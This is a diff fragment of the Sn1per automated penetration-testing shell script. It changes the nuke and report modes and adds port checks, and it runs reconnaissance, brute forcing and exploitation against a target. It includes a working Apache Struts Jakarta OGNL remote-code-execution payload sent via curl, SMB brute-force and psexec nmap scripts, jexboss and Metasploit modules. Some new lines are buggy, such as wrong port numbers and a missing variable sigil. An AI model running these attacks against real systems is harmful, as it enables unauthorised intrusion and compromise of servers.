/_/ / __/ / $RESET" - echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" - echo -e "$OKRED /_/ $RESET" - echo -e "$RESET" - echo -e "$OKORANGE + -- --=[http://crowdshield.com" - echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3" - - for a in `cat $TARGET`; - do - echo -e "$OKRED |" - echo -e "$OKRED | |" - echo -e "$OKRED | -/_\-" - echo -e "$OKRED -/_\- ______________(/ . \)______________" - echo -e "$OKRED ____________(/ . \)_____________ \___/ <>" - echo -e "$OKRED <> \___/ <> <>" - echo -e "$OKRED " - echo -e "$OKRED ||" - echo -e "$OKRED <>" - echo -e "$OKRED ||" - echo -e "$OKRED <>" - echo -e "$OKRED ||" - echo -e "$OKRED || BIG" - echo -e "$OKRED _____ __ <> (^)))^ BOOM!" - echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )" - echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )" - echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)" - echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||" - echo -e "$OKRED | ||. | | | ||| |||||" - echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||" - echo -e "$OKRED | ||. | | | ||| |||||" - echo -e "$OKRED __________________________________________________________" - echo -e "$OKRED Bomb raid (contributed by Michael aka SNOOPY@DRYCAS.CLUB.CC.CMU.EDU)" - echo -e "$RESET" - echo -e "$OKORANGE + -- --=[Launching airstrike: $a $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING NSLOOKUP $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nslookup $a - host $a - - if [[ ${a:0:1} =~ $REGEX ]]; - then - SCAN_TYPE="IP" - else - SCAN_TYPE="DOMAIN" - fi - - if [ $SCAN_TYPE == "DOMAIN" ]; - then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING WHOIS INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - whois $a - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING OSINT INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - theharvester -d $a -l 25 -b all 2> /dev/null - metagoofil -d $a -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$a.html - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING DNS INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - dig -x $a - dnsenum $a - mv -f *_ips.txt $LOOT_DIR/domains/ 2>/dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING DNS SUBDOMAINS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $PLUGINS_DIR/Sublist3r/sublist3r.py -d $a -vvv -o $LOOT_DIR/domains/domains-$a.txt 2>/dev/null - dos2unix $LOOT_DIR/domains/domains-$a.txt 2>/dev/null - echo "" - echo -e "$OKRED ╔═╗╦═╗╔╦╗╔═╗╦ ╦$RESET" - echo -e "$OKRED ║ ╠╦╝ ║ ╚═╗╠═╣$RESET" - echo -e "$OKRED ╚═╝╩╚═ ╩o╚═╝╩ ╩$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING CERTIFICATE SUBDOMAINS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKBLUE" - curl -s https://crt.sh/?q=%25.$a > /tmp/curl.out && cat /tmp/curl.out | grep $a | grep TD | sed -e 's///g' | sed -e 's/TD//g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | sort -u > $LOOT_DIR/domains/domains-$a-crt.txt && cat $LOOT_DIR/domains/domains-$a-crt.txt - echo "" - echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$a-full.txt" - cat $LOOT_DIR/domains/domains-$a-crt.txt > /tmp/curl.out 2> /dev/null - cat $LOOT_DIR/domains/domains-$a.txt >> /tmp/curl.out 2> /dev/null - sort -u /tmp/curl.out > $LOOT_DIR/domains/domains-$a-full.txt - rm -f /tmp/curl.out 2> /dev/null + if [ "$REPORT" = "1" ]; then + for a in `cat $FILE`; + do + if [ "$AUTOBRUTE" = "1" ]; then + args="$args -b" + fi + if [ "$FULLNMAPSCAN" = "1" ]; then + args="$args -fp" + fi + if [ "$OSINT" = "1" ]; then + args="$args -o" + fi + if [ "$RECON" = "1" ]; then + args="$args -re -m stealth" + fi + if [ "$LOOT" = "1" ]; then + args="$args -l" + fi + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $WORKSPACE_DIR 2> /dev/null + mkdir $WORKSPACE_DIR/domains 2> /dev/null + mkdir $WORKSPACE_DIR/screenshots 2> /dev/null + mkdir $WORKSPACE_DIR/nmap 2> /dev/null + mkdir $WORKSPACE_DIR/notes 2> /dev/null + mkdir $WORKSPACE_DIR/burpsuite 2> /dev/null + mkdir $WORKSPACE_DIR/reports 2> /dev/null + mkdir $WORKSPACE_DIR/output 2> /dev/null + fi + args="$args --noreport --noloot" + TARGET="$a" + args="$args -t $TARGET" + echo -e "$OKRED |" + echo -e "$OKRED | |" + echo -e "$OKRED | -/_\-" + echo -e "$OKRED -/_\- ______________(/ . \)______________" + echo -e "$OKRED ____________(/ . \)_____________ \___/ <>" + echo -e "$OKRED <> \___/ <> <>" + echo -e "$OKRED " + echo -e "$OKRED ||" + echo -e "$OKRED <>" + echo -e "$OKRED ||" + echo -e "$OKRED <>" + echo -e "$OKRED ||" + echo -e "$OKRED || BIG" + echo -e "$OKRED _____ __ <> (^)))^ BOOM!" + echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )" + echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )" + echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)" + echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||" + echo -e "$OKRED | ||. | | | ||| |||||" + echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||" + echo -e "$OKRED | ||. | | | ||| |||||" + echo -e "$OKRED __________________________________________________________" + echo -e "$OKRED Bomb raid (contributed by Michael aka SNOOPY@DRYCAS.CLUB.CC.CMU.EDU)" echo -e "$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR SUB-DOMAIN HIJACKING $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - for b in `cat $LOOT_DIR/domains/domains-$a.txt 2> /dev/null`; do dig $b CNAME | egrep -i 'wordpress|instapage|heroku|github|bitbucket|squarespace|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign monitor|cargocollective|statuspage|tumblr|amazonaws|hubspot|cloudfront|modulus' 2>/dev/null; done; - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING EMAIL SECURITY $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $PLUGINS_DIR/SimpleEmailSpoofer/spoofcheck.py $a 2>/dev/null - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED STARTING DOMAIN FLYOVER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - aquatone-discover -d $a -t 100 --wordlist $PLUGINS_DIR/Sublist3r/subdomains.lst - aquatone-takeover -d $a -t 100 - aquatone-scan -d $a -t 100 -p80,443 - aquatone-gather -d $a -t 100 - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED STARTING PUBLIC S3 BUCKET SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd $PLUGINS_DIR/slurp/ - ./slurp-linux-amd64 domain --domain $TARGET - cd $INSTALL_DIR - echo "" - fi - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PORT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -sS -T5 --open -Pn -p $DEFAULT_PORTS $a -oX $LOOT_DIR/nmap/nmap-$a.xml - port_80=`grep 'portid="80"' $LOOT_DIR/nmap/nmap-$a.xml | grep open` - port_443=`grep 'portid="443"' $LOOT_DIR/nmap/nmap-$a.xml | grep open` - - if [ -z "$port_80" ]; - then - echo -e "$OKRED + -- --=[Port 80 closed... skipping.$RESET" - else - echo -e "$OKORANGE + -- --=[Port 80 opened... running tests...$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR WAF $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wafw00f http://$a - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING HTTP INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - whatweb http://$a - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - xsstracer $a 80 - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SAVING WEB SCREENSHOTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$a --out=$LOOT_DIR/screenshots/$a-port80.jpg + if [ ! -z "$WORKSPACE_DIR" ]; then + sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 else - cutycapt --url=http://$a --out=$LOOT_DIR/screenshots/$a-port80.jpg + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 fi - fi - - if [ -z "$port_443" ]; - then - echo -e "$OKRED + -- --=[Port 443 closed... skipping.$RESET" - else - echo -e "$OKORANGE + -- --=[Port 443 opened... running tests...$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR WAF $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wafw00f https://$a - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING HTTP INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - whatweb https://$a - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - xsstracer $a 443 - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $a - sslscan --no-failed $a - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SAVING WEB SCREENSHOTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$a --out=$LOOT_DIR/screenshots/$a-port443.jpg - else - cutycapt --url=https://$a --out=$LOOT_DIR/screenshots/$a-port443.jpg - fi - echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$a-port443.jpg" - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SCAN COMPLETE! $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - echo -e "" - done; + args="" + done + fi + if [ "$LOOT" = "1" ]; then + loot + fi exit fi +# FULLPORTONLY MODE if [ "$MODE" = "fullportonly" ]; then logo - if [ -z "$OPT1" ]; then + if [ -z "$PORT" ]; then nmap -Pn -A -v -T4 -p$DEFAULT_TCP_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -Pn -sU -A -T4 -v -p$DEFAULT_UDP_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET-udp.xml + nmap -Pn -sU -A -T4 -v -p$DEFAULT_UDP_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET-udp.xml echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED SEARCHING FOR EXPLOITS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" @@ -1207,11 +1231,11 @@ if [ "$MODE" = "fullportonly" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -Pn -A -v -T4 -p $OPT1 $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml + nmap -Pn -A -v -T4 -p $PORT $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -Pn -A -v -T4 -sU -p $OPT1 -Pn $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml + nmap -Pn -A -v -T4 -sU -p $PORT -Pn $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED SEARCHING FOR EXPLOITS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" @@ -1224,18 +1248,37 @@ if [ "$MODE" = "fullportonly" ]; then fi if [ "$MODE" = "port" ]; then - if [ -z "$OPT1" ]; then + if [ -z "$PORT" ]; then echo -e "$OKRED + -- --=[Error: You need to enter a port number. $RESET" exit fi fi if [ "$MODE" = "nuke" ]; then - if [ "$OPT1" = "report" ]; then - sniper $(realpath $TARGET) $MODE | tee $LOOT_DIR/sniper-$(basename $TARGET)-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + if [ -z "$FILE" ]; then + logo + echo "You need to specify a list of targets (ie. -f ) to scan in nuke mode." + exit + fi + if [ "$REPORT" = "1" ]; then + args="$args --noreport -m nuke -fp -b -o -r -re -l" + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $LOOT_DIR 2> /dev/null + mkdir $LOOT_DIR/domains 2> /dev/null + mkdir $LOOT_DIR/screenshots 2> /dev/null + mkdir $LOOT_DIR/nmap 2> /dev/null + mkdir $LOOT_DIR/notes 2> /dev/null + mkdir $LOOT_DIR/burpsuite 2> /dev/null + mkdir $LOOT_DIR/reports 2> /dev/null + mkdir $LOOT_DIR/output 2> /dev/null + fi + sniper -f $(realpath $TARGET) $args | tee $LOOT_DIR/output/sniper-$(basename $TARGET)-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 exit fi - for a in `cat $(realpath $TARGET)`; do + for a in `cat $(realpath $FILE)`; do echo -e "$OKRED " echo -e "$OKRED ____" echo -e "$OKRED __,-~~/~ \`---." @@ -1251,7 +1294,7 @@ if [ "$MODE" = "nuke" ]; then echo -e "$OKRED (\` ^''\`-' ')" echo -e "$OKRED --------------------------------------------------------- $RESET" echo -e "$OKORANGE + -- --=[WARNING! Nuking ALL target! $RESET" - sniper $a + sniper -t $a echo -e "" echo -e "" echo -e "" @@ -1268,7 +1311,37 @@ if [ "$MODE" = "nuke" ]; then echo -e "" echo -e "" done - stop services + exit +fi + +if [ "$REPORT" = "1" ]; then + args="-t $TARGET" + if [ "$OSINT" = "1" ]; then + args="$args -o" + fi + if [ "$AUTOBRUTE" = "1" ]; then + args="$args -b" + fi + if [ "$FULLNMAPSCAN" = "1" ]; then + args="$args -f" + fi + if [ "$RECON" = "1" ]; then + args="$args -re" + fi + if [ "MODE" = "port" ]; then + args="$args -m port" + fi + if [ ! -z "$PORT" ]; then + args="$args -p $PORT" + fi + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + fi + if [ "$LOOT" = "1" ]; then + args="$args -l" + fi + args="$args --noreport" + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-`date +%Y%m%d%H%M`.txt 2>&1 exit fi @@ -1283,7 +1356,11 @@ echo -e "$OKORANGE + -- --=[http://crowdshield.com" echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3" echo -e "$RESET" -if [ "$OSINT" = "1" ]; then +if [ ! -z $WORKSPACE ]; then + LOOT_DIR=$WORKSPACE_DIR +fi + +if [ "$RECON" = "1" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING NSLOOKUP $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" @@ -1300,11 +1377,6 @@ if [ "$OSINT" = "1" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" whois $TARGET echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING OSINT INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - theharvester -d $TARGET -l 25 -b all 2> /dev/null - metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html - echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED GATHERING DNS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" dig -x $TARGET @@ -1334,6 +1406,7 @@ if [ "$OSINT" = "1" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" + dig $TARGET CNAME | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine" for a in `cat $LOOT_DIR/domains/domains-$TARGET-full.txt`; do dig $a CNAME | egrep -i 'wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine' 2>/dev/null; done; echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED CHECKING EMAIL SECURITY $RESET" @@ -1344,9 +1417,9 @@ if [ "$OSINT" = "1" ]; then echo -e "$OKRED STARTING DOMAIN FLYOVER $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" aquatone-discover -d $TARGET -t 100 --wordlist $PLUGINS_DIR/Sublist3r/subdomains.lst - aquatone-takeover -d $TARGET -t 100 + aquatone-takeover -d $TARGET -t 100 aquatone-scan -d $TARGET -t 100 -p80,443 - aquatone-gather -d $TARGET -t 100 + aquatone-gather -d $TARGET -t 100 echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED STARTING PUBLIC S3 BUCKET SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" @@ -1354,6 +1427,13 @@ if [ "$OSINT" = "1" ]; then ./slurp-linux-amd64 domain --domain $TARGET cd $INSTALL_DIR echo "" + if [ "$OSINT" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING OSINT INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + theharvester -d $TARGET -l 25 -b all 2> /dev/null + metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html + fi fi fi echo "" @@ -1365,20 +1445,20 @@ echo "" echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" -if [ -z "$OPT1" ]; then +if [ -z "$PORT" ]; then nmap -sS -T5 --open -Pn -p $DEFAULT_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml -elif [ "$OPT1" == "web" ]; then +elif [ "$MODE" == "web" ]; then nmap -sV -T5 -Pn -p 80,443 --open $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml else - nmap -sS -T5 -Pn -p $OPT1 --open $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml + nmap -sS -T5 -Pn -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml +fi echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING UDP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -sU -T5 -Pn -p U:$OPT1 --open $TARGET -fi - -if [ -z $DISABLE_POSTGRESQL ]; then - service postgresql start +if [ -z "$PORT" ]; then + nmap -sU -T5 --open -Pn -p $DEFAULT_UDP_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-udp-$TARGET.xml +else + nmap -sU -T5 --open -Pn -p $PORT $TARGET -oX $LOOT_DIR/nmap/nmap-udp-$TARGET.xml fi echo "" @@ -1390,13 +1470,17 @@ port_22=`grep 'portid="22"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` port_23=`grep 'portid="23"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` port_25=`grep 'portid="25"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` port_53=`grep 'portid="53"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +#port_67=`grep 'portid="67"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` +#port_68=`grep 'portid="68"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` +#port_69=`grep 'portid="69"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` port_79=`grep 'portid="79"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` port_80=`grep 'portid="80"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` port_110=`grep 'portid="110"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` port_111=`grep 'portid="111"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +#port_123=`grep 'portid="123"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` port_135=`grep 'portid="135"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` port_139=`grep 'portid="139"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` -port_161=`grep 'portid="161"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` +#port_161=`grep 'portid="161"' $LOOT_DIR/nmap/nmap-udp-$TARGET.xml | grep open` port_162=`grep 'portid="162"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` port_389=`grep 'portid="162"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` port_443=`grep 'portid="443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open` @@ -1487,7 +1571,31 @@ then echo -e "$OKRED + -- --=[Port 53 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 53 opened... running tests...$RESET" - nmap -A -sU -sV -Pn -T5 --script=dns* -p U:53,T:53 $TARGET + nmap -A -sV -Pn -T5 --script=dns* -p 53 $TARGET +fi + +if [ -z "$port_67" ]; +then + echo -e "$OKRED + -- --=[Port 67 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 67 opened... running tests...$RESET" + nmap -A -sU -sV -Pn -T5 --script=dhcp* -p 67 $TARGET +fi + +if [ -z "$port_68" ]; +then + echo -e "$OKRED + -- --=[Port 68 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 68 opened... running tests...$RESET" + nmap -A -sU -sV -Pn -T5 --script=dhcp* -p 68 $TARGET +fi + +if [ -z "$port_69" ]; +then + echo -e "$OKRED + -- --=[Port 69 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 69 opened... running tests...$RESET" + nmap -A -sU -sV -Pn -T5 --script=tftp* -p 68 $TARGET fi if [ -z "$port_79" ]; @@ -1518,6 +1626,7 @@ else echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED CHECKING HTTP HEADERS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" + curl --connect-timeout 1 -I -s -R http://$TARGET >> $LOOT_DIR/web/headers-http-$TARGET.txt echo -e "$OKBLUE+ -- --=[Checking if X-Content options are enabled on $TARGET...$RESET $OKORANGE" curl -s --insecure -I http://$TARGET | egrep -i 'X-Content' | tail -n 10 echo "" @@ -1573,9 +1682,9 @@ else echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port80.jpg" if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg + /bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg 2> /dev/null else - cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg + cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg 2> /dev/null fi if [ "$MODE" = "web" ]; then @@ -1595,9 +1704,9 @@ else echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" - wpscan --url http://$TARGET --batch + wpscan --url http://$TARGET --batch --disable-tls-checks echo "" - wpscan --url http://$TARGET/wordpress/ --batch + wpscan --url http://$TARGET/wordpress/ --batch --disable-tls-checks echo "" echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING CMSMAP $RESET" @@ -1635,10 +1744,14 @@ else echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://$TARGET | head -n 1 + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET fi if [ $SCAN_TYPE == "DOMAIN" ] && [ $OSINT == "1" ]; then - if [ $GOOHAK == "0" ]; then + if [ $OSINT == "0" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" @@ -1675,6 +1788,14 @@ else showmount -e $TARGET fi +if [ -z "$port_123" ]; +then + echo -e "$OKRED + -- --=[Port 123 closed... skipping.$RESET" +else + echo -e "$OKORANGE + -- --=[Port 123 opened... running tests...$RESET" + nmap -A -sU -sV -Pn -T5 --script=ntp-* -p 68 $TARGET +fi + if [ -z "$port_135" ]; then echo -e "$OKRED + -- --=[Port 135 closed... skipping.$RESET" @@ -1696,7 +1817,7 @@ else enum4linux $TARGET python $SAMRDUMP $TARGET nbtscan $TARGET - nmap -A -sV -T5 -p139 --script=smb-server-stats --script=smb-ls --script=smb-enum-domains --script=smbv2-enabled --script=smb-psexec --script=smb-enum-groups --script=smb-enum-processes --script=smb-brute --script=smb-print-text --script=smb-security-mode --script=smb-os-discovery --script=smb-enum-sessions --script=smb-mbenum --script=smb-enum-users --script=smb-enum-shares --script=smb-system-info --script=smb-vuln-ms10-054 --script=smb-vuln-ms10-061 $TARGET + nmap -A -sV -T5 -p139 --script=smb-server-stats --script=smb-ls --script=smb-enum-domains --script=smb-protocols --script=smb-psexec --script=smb-enum-groups --script=smb-enum-processes --script=smb-brute --script=smb-print-text --script=smb-security-mode --script=smb-os-discovery --script=smb-enum-sessions --script=smb-mbenum --script=smb-enum-users --script=smb-enum-shares --script=smb-system-info --script=smb-vuln-ms10-054 --script=smb-vuln-ms10-061 $TARGET msfconsole -x "use auxiliary/scanner/smb/pipe_auditor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use auxiliary/scanner/smb/pipe_dcerpc_auditor; run; use auxiliary/scanner/smb/psexec_loggedin_users; run; use auxiliary/scanner/smb/smb2; run; use auxiliary/scanner/smb/smb_enum_gpp; run; use auxiliary/scanner/smb/smb_enumshares; run; use 